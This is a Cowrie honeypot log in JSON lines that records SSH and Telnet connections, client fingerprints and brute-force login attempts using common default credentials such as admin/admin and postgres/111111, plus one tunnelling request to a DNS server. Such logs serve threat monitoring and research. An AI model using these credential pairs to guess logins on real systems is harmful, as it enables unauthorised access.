{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:49:53.752845Z","src_ip":"14.103.127.243","session":"f5d3ec1bf53a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.41007351875305,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:49:57.273287Z","src_ip":"104.245.105.2","session":"ace8d77a1e7c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.007319688797,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:50:02.772591Z","src_ip":"64.41.88.162","session":"a75f0b1185fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00202870368958,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:50:03.471196Z","src_ip":"64.41.88.162","session":"1b2576951e00","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0028784275055,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:50:05.061161Z","src_ip":"64.41.88.162","session":"979e11db667d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":47070,"dst_ip":"10.17.0.5","dst_port":23,"session":"d0bdb1a521b1","protocol":"telnet","message":"New connection: 104.245.105.2:47070 (10.17.0.5:23) [session: d0bdb1a521b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:50:10.797520Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.68.209.183","src_port":37386,"dst_ip":"159.203.135.109","dst_port":23,"session":"65a2f1ecd1d6","protocol":"telnet","message":"New connection: 37.68.209.183:37386 (159.203.135.109:23) [session: 65a2f1ecd1d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:50:13.874818Z"}
{"eventid":"cowrie.session.connect","src_ip":"78.128.112.74","src_port":41208,"dst_ip":"159.203.135.109","dst_port":22,"session":"2c5875baa33d","protocol":"ssh","message":"New connection: 78.128.112.74:41208 (159.203.135.109:22) [session: 2c5875baa33d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:50:23.699466Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:50:23.932420Z","src_ip":"78.128.112.74","session":"2c5875baa33d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:50:23.937292Z","src_ip":"78.128.112.74","session":"2c5875baa33d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123456!","message":"login attempt [user/123456!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:50:26.064825Z","src_ip":"78.128.112.74","session":"2c5875baa33d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:50:27.193569Z","src_ip":"78.128.112.74","session":"2c5875baa33d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":3618,"dst_ip":"10.17.0.5","dst_port":22,"session":"7527fd07cca6","protocol":"ssh","message":"New connection: 87.251.64.176:3618 (10.17.0.5:22) [session: 7527fd07cca6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:50:28.377604Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:50:28.382365Z","src_ip":"87.251.64.176","session":"7527fd07cca6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:50:28.479061Z","src_ip":"87.251.64.176","session":"7527fd07cca6","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:50:28.768813Z","src_ip":"87.251.64.176","session":"7527fd07cca6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:50:28.870899Z","session":"7527fd07cca6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:50:28.969909Z","src_ip":"87.251.64.176","session":"7527fd07cca6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:50:29.205993Z","src_ip":"87.251.64.176","session":"7527fd07cca6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.95","src_port":27060,"dst_ip":"159.203.135.109","dst_port":22,"session":"2f1d3b85f563","protocol":"ssh","message":"New connection: 193.24.211.95:27060 (159.203.135.109:22) [session: 2f1d3b85f563]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:50:40.520365Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:50:40.557174Z","src_ip":"193.24.211.95","session":"2f1d3b85f563","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:50:40.633213Z","src_ip":"193.24.211.95","session":"2f1d3b85f563","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"654321","message":"login attempt [admin/654321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:50:41.068848Z","src_ip":"193.24.211.95","session":"2f1d3b85f563","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:50:42.183961Z","src_ip":"193.24.211.95","session":"2f1d3b85f563","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.73488235473633,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:50:52.532247Z","src_ip":"104.245.105.2","session":"d0bdb1a521b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.182.27.213","src_port":34708,"dst_ip":"159.203.135.109","dst_port":23,"session":"2fe72cf694eb","protocol":"telnet","message":"New connection: 45.182.27.213:34708 (159.203.135.109:23) [session: 2fe72cf694eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:50:57.313939Z"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.168.47","src_port":33366,"dst_ip":"10.17.0.5","dst_port":22,"session":"c95820a9e5b1","protocol":"ssh","message":"New connection: 182.253.168.47:33366 (10.17.0.5:22) [session: c95820a9e5b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:50:58.957498Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:50:58.962534Z","src_ip":"182.253.168.47","session":"c95820a9e5b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:51:01.015290Z","src_ip":"182.253.168.47","session":"c95820a9e5b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"superuser","password":"superuser","message":"login attempt [superuser/superuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:51:02.501717Z","src_ip":"182.253.168.47","session":"c95820a9e5b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.8","message":"Connection lost after 5.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:51:04.775358Z","src_ip":"182.253.168.47","session":"c95820a9e5b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.595322847366333,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:51:10.909163Z","src_ip":"45.182.27.213","session":"2fe72cf694eb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":36924,"dst_ip":"159.203.135.109","dst_port":23,"session":"a5a52a12a223","protocol":"telnet","message":"New connection: 64.41.88.162:36924 (159.203.135.109:23) [session: a5a52a12a223]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:51:16.180644Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":37060,"dst_ip":"159.203.135.109","dst_port":23,"session":"c0a3f842198a","protocol":"telnet","message":"New connection: 64.41.88.162:37060 (159.203.135.109:23) [session: c0a3f842198a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:51:16.429405Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":37326,"dst_ip":"159.203.135.109","dst_port":23,"session":"f5bc047dda51","protocol":"telnet","message":"New connection: 64.41.88.162:37326 (159.203.135.109:23) [session: f5bc047dda51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:51:20.066800Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":59772,"dst_ip":"10.17.0.5","dst_port":23,"session":"01d8730bd1ab","protocol":"telnet","message":"New connection: 104.245.105.2:59772 (10.17.0.5:23) [session: 01d8730bd1ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:51:47.024956Z"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.168.47","src_port":50132,"dst_ip":"10.17.0.5","dst_port":22,"session":"bb3a11cdaa81","protocol":"ssh","message":"New connection: 182.253.168.47:50132 (10.17.0.5:22) [session: bb3a11cdaa81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:52:07.418489Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:52:08.260617Z","src_ip":"182.253.168.47","session":"bb3a11cdaa81","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:52:08.264386Z","src_ip":"182.253.168.47","session":"bb3a11cdaa81","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"username","password":"password@123","message":"login attempt [username/password@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:52:10.756923Z","src_ip":"182.253.168.47","session":"bb3a11cdaa81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:52:13.279524Z","src_ip":"182.253.168.47","session":"bb3a11cdaa81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0016918182373,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:52:13.876368Z","src_ip":"37.68.209.183","session":"65a2f1ecd1d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.786004066467285,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:52:18.810861Z","src_ip":"104.245.105.2","session":"01d8730bd1ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.68.209.183","src_port":49942,"dst_ip":"159.203.135.109","dst_port":23,"session":"a20538c519ee","protocol":"telnet","message":"New connection: 37.68.209.183:49942 (159.203.135.109:23) [session: a20538c519ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:52:18.958738Z"}
{"eventid":"cowrie.session.connect","src_ip":"88.205.172.170","src_port":44486,"dst_ip":"10.17.0.5","dst_port":22,"session":"8da392d91559","protocol":"ssh","message":"New connection: 88.205.172.170:44486 (10.17.0.5:22) [session: 8da392d91559]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:52:19.615991Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:52:19.625862Z","src_ip":"88.205.172.170","session":"8da392d91559","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:52:19.786645Z","src_ip":"88.205.172.170","session":"8da392d91559","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"111111","message":"login attempt [postgres/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:52:20.459395Z","src_ip":"88.205.172.170","session":"8da392d91559","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:52:21.623076Z","src_ip":"88.205.172.170","session":"8da392d91559","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":41498,"dst_ip":"159.203.135.109","dst_port":23,"session":"f5396c0a941a","protocol":"telnet","message":"New connection: 64.41.88.162:41498 (159.203.135.109:23) [session: f5396c0a941a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:52:23.808872Z"}
